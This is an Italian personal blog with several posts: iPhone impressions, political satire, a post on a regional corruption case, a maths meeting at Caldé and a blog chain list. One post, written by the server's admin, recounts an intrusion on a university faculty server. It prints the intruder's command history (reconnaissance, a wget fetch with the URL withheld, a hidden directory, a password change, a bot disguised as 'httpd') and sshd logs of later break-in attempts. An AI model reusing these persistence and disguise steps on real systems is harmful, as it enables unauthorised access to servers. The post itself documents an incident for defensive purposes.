In Mela stat virtus

Finalmente sono riuscito ad accaparrarmi il tanto bramato cellulare firmato Apple.

Nessun inconveniente particolare, a parte alcune stupidaggini a cui l’azienda di Cupertino poteva pensare:

  • I messaggi SMS non possono essere inoltrati, anche se è possibile indirizzarli a più destinatari in fase di invio.
  • Non è previsto alcun sistema di copia-incolla.

In compenso, però, l’iPhone mi ha fatto scoprire una cosa che finora potevo solo sognare: un programma che registra 30 secondi di una canzone (dalla radio, dalla televisione, dal computer) e cerca su internet di scoprirne il titolo.  La cosa pazzesca è che funziona! Il programma si chiama Shazam ed è disponibile anche per i computer desktop tradizionali.

Altri update a presto. Stay tuned, anzi, stay iTunes.

Il Pungolo

Ieri Napolitano ha firmato il lodo Alfano che prevede l’immunità per le più alte cariche dello Stato. Alcune parti del mondo politico urlano allo scandalo, ma non sanno che dietro questa innocua votazione si nasconde un piano geniale.

  • Giorgio Napolitano ha 83 anni.
  • La speranza di vita media per gli uomini è 77 anni (per le donne è 83 anni, da cui si deduce molto di Vladimir Luxuria).
  • Il mandato del Presidente scadrà nel 2013, quando questi avrà 88 anni.
  • Chi ha più di 70 anni non sconta le pene in carcere, ma ai domiciliari, nemmeno per reati come l’omicidio

Berlusconi, prima o poi, dovrà pur morire, no?

Il Pungolo

Il Papa sui pedofili: “Siano giudicati”.

Poi prosegue: “Ad esempio, a Don Gesualdo darei 8+, lui sì che è bravo, mentre a Don Mario solamente 6 e mezzo: li fa urlare troppo”.

[questa idea si presta molto a una vignetta; chiunque abbia voglia di cimentarsi, riceverà onore e gloria, nonché la pubblicazione su questo blog]

Il Pungolo

La Spagna vara una legge che aumenta i diritti per gli scimpanzé. La metafora orwelliana secondo cui tutti gli animali sono uguali, ma alcuni sono più uguali degli altri, è quindi realtà. Poca fantasia, da parte degli iberici: noi li abbiamo battuti sul tempo con il lodo Alfano.

La feccia della politica

Del Turco

Ci sono reati e reati. Dopo l’omicidio, la pedofilia e la violenza sessuale in genere, il reato più grave è a mio parere la truffa a spese dell’amministrazione pubblica. Di questo è stato accusato il Governatore dell’Abruzzo, Ottaviano Del Turco, schierato con il Partito Democratico. Non solo: secondo la Guardia di Finanza le prove a suo carico sono schiaccianti.

Si parla di truffe a danni della sanità per sei milioni di euro, una cifra che non riuscirei nemmeno a immaginare. E che nemmeno saprei come spendere. Quante persone potevano essere curate con quel denaro? Quanti posti letto in più sarebbero stati disponibili? Oppure, addirittura, quanti nuovi ospedali, attrezzature, centri di assistenza di ogni genere?

Ma la cosa più sconvolgente di tutta questa vicenda è la reazione del mondo politico. Dal Partito Democratico nessuna distanza: “Totale fiducia nella magistratura!”. Ma intanto il Governatore resta dov’è, nessuno ha mai parlato di dimissioni. Cuffaro era stato più onesto. Dal centrodestra, quindi dallo schieramento opposto, solite critiche alla Magistratura. Per lo meno Berlusconi è coerente, sta sempre dalla parte di quelli con la fedina penale sporca. “Di Pietro mi fa orrore”, aveva dichiarato in campagna elettorale. Lo stesso Di Pietro che ha già preso le distanze dal Governatore Del Turco, invitando tutti gli esponenti del suo partito a sciogliere l’alleanza con il Partito Democratico nella regione incriminata.

Dopo le dichiarazioni sulle leggi ad personam degli ultimi tempi e dopo la bagarre di Piazza Navona, il Partito Democratico arriva (se ci arriva) a compiere un anno di vita con le ossa rotte. Vedremo come andrà a finire; da parte mia, rimango come sempre soddisfatto delle mie scelte elettorali.

Caldé 2008

Rocca di Caldé

Anche quest’anno si avvicina il momento delle vacanze e anche quest’anno andrò a Caldé per il consueto “meeting di malati di mente”, almeno così l’ho soprannominato io: un incontro molto particolare tra tutti gli appassionati di matematica di ogni parte d’Italia.

Ci saranno campioni di scacchi, esperti di esperanto, semplici studenti o matematici professionisti; tutti insieme per condividere quella passione che è anche una delle scienze più antiche conosciute dall’uomo.

L’incontro si terrà a Caldé, una frazione di Castelveccana (VA), in una paradisiaca ambientazione sulle rive del Lago Maggiore. Chiunque fosse interessato a partecipare può contattare gli organizzatori agli indirizzi e-mail indicati nel programma (evito di inseririli qui per motivi di spam) oppure contattare direttamente il sottoscritto. La partecipazione è completamente gratuita, esclusi vitto e alloggio che sono a carico dei partecipanti.

Allego il programma di quest’anno e linko un raccontino a sfondo matematico che ho scritto qualche anno fa e che si è aggiudicato il premio “Verso una nuova immagine della matematica”, messo in palio dal Dipartimento di Matematica dell’Università di Pavia.

From Romania without love

Fare l’amministratore di sistema quando la propria mansione è realizzare siti web può diventare frustrante. In particolare quando si scopre che l’Area Sistemi Informativi dell’Università di Pavia “butta giù” un server con i siti di due facoltà perché generava troppo traffico anomalo (a ragione, per carità…).

La causa di questo problema è stata una connessione proveniente dalla Romania che ha avuto come bersaglio l’utente di un docente della Facoltà di Lettere, sul server del sito della Facoltà stessa. Una volta entrato, il malintenzionato ha installato un BOT che camuffava gli indirizzi di varie connessioni in giro per la rete in modo che risultassero provenienti dall’Università di Pavia. Un concetto simile a quello che spesso si ritrova nei film, quando l’eroe di turno deve virtualmente rincorrere in giro per il mondo tutti i computer attraverso i quali l’hacker è passato per offuscare la sua vera provenienza.

In particolare i comandi eseguiti sono stati i seguenti:

   15  uname -a
   16  ps x
   17  cat /proc/cpuinfo
   18  /sbin/ifconfig | grep inet
   19  cat /etc/hosts
   20  cd /var/tmp
   21  ls -a
   22  mkdir .core
   23  cd .core
   24  wget [omissis]
   25  tar xzvf [omissis]
   26  rm -rf [omissis]
   27  cd psybnc
   28  passwd
   29  ls -a
   30  chmod +x *
   31  ./httpd
   32  exit

Per i più inesperti, si può dire che il comando della riga 15 fornisce la versione di Linux installata, la 17 offre informazioni sul processore, la 18 sulle impostazioni di rete. Il comando 24 scarica il software da installare (che non ho scritto per evitare di dare spunti ai novizi hacker e per non finire nelle blacklist) e il 31 lo avvia, chiamandolo httpd per confonderlo con il server web così da dare meno nell’occhio e rendere più difficile l’identificazione da parte dell’amministratore.

Il comando 28 banalmente cambia la password per evitare che l’utente legittimo possa entrare.

Una volta che ho trovato e corretto il problema, il malintenzionato ha tentato di entrare nuovamente nella macchina, così come mostrato nei log di autenticazione:

Jul  8 15:10:36 studenti sshd[4751]: reverse mapping checking getaddrinfo for [omissis].rdsnet.ro [omissis] failed - POSSIBLE BREAK-IN ATTEMPT!
Jul  8 15:10:38 studenti sshd[4751]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=[omissis]  user=seth
Jul  8 15:10:41 studenti sshd[4751]: Failed password for seth from [omissis] port 1118 ssh2
Jul  8 15:10:53 studenti last message repeated 2 times
Jul  8 15:10:54 studenti sshd[4751]: PAM 2 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=[omissis]  user=seth

Avevo ovviamente disabilitato l’utente appena notato il problema. L’amico rumeno dovrà quindi trovarsi un altro server per giocare al piccolo hacker.

Brillante weblog

Anche se in genere non amo particolarmente (anzi, spesso detesto) le catene di Sant’Antonio, vorrei comunque “stare al gioco” di Brillante Weblog. L’iniziativa consiste nel segnalare sette blog interessanti e invitare questi a fare lo stesso sul proprio blog.

Un redattore di Inchiostro, nel suo blog, mi segnala tra i sette “eletti”, rendendomi quindi involontariamente protagonista di questa catena.

Il blog che mi ha segnalato:

I sette blog che mi fa piacere segnalare:

  • Voglio Scendere
    Si tratta della vetrina ufficiale dei tre giornalisti Corrias, Gomez, Travaglio.
  • Spinoza
    Un blog serissimo, come scrive il suo creatore. Semplicemente geniale, aggiungo io.
  • Hic est Lyon
    Il blog di Andrea, un ragazzo italiano emigrato in Francia con una particolare predisposizione verso il giornalismo.
  • Non pianeta, ma stella
    Uno dei blog più simili al mio, gestito da una ragazza pugliese.
  • Inchiostro
    Il blog del giornale degli studenti dell’Università di Pavia.
  • Mau
    Il sito personale, con annesso blog, di Maurizio Codogno, un appassionato di matematica.
  • Marzapower
    Il blog personale di Daniele, il mio coinquilino.

Il Pungolo

La Cina sta sperimentando un nuovo metodo, estremo ma efficace, per sfoltire la popolazione: una rivisitazione asiatica delle piaghe d’Egitto. Dopo l’invasione di alghe e quella di cavallette, il governo spera che prima o poi arrivi anche la morte dei primogeniti.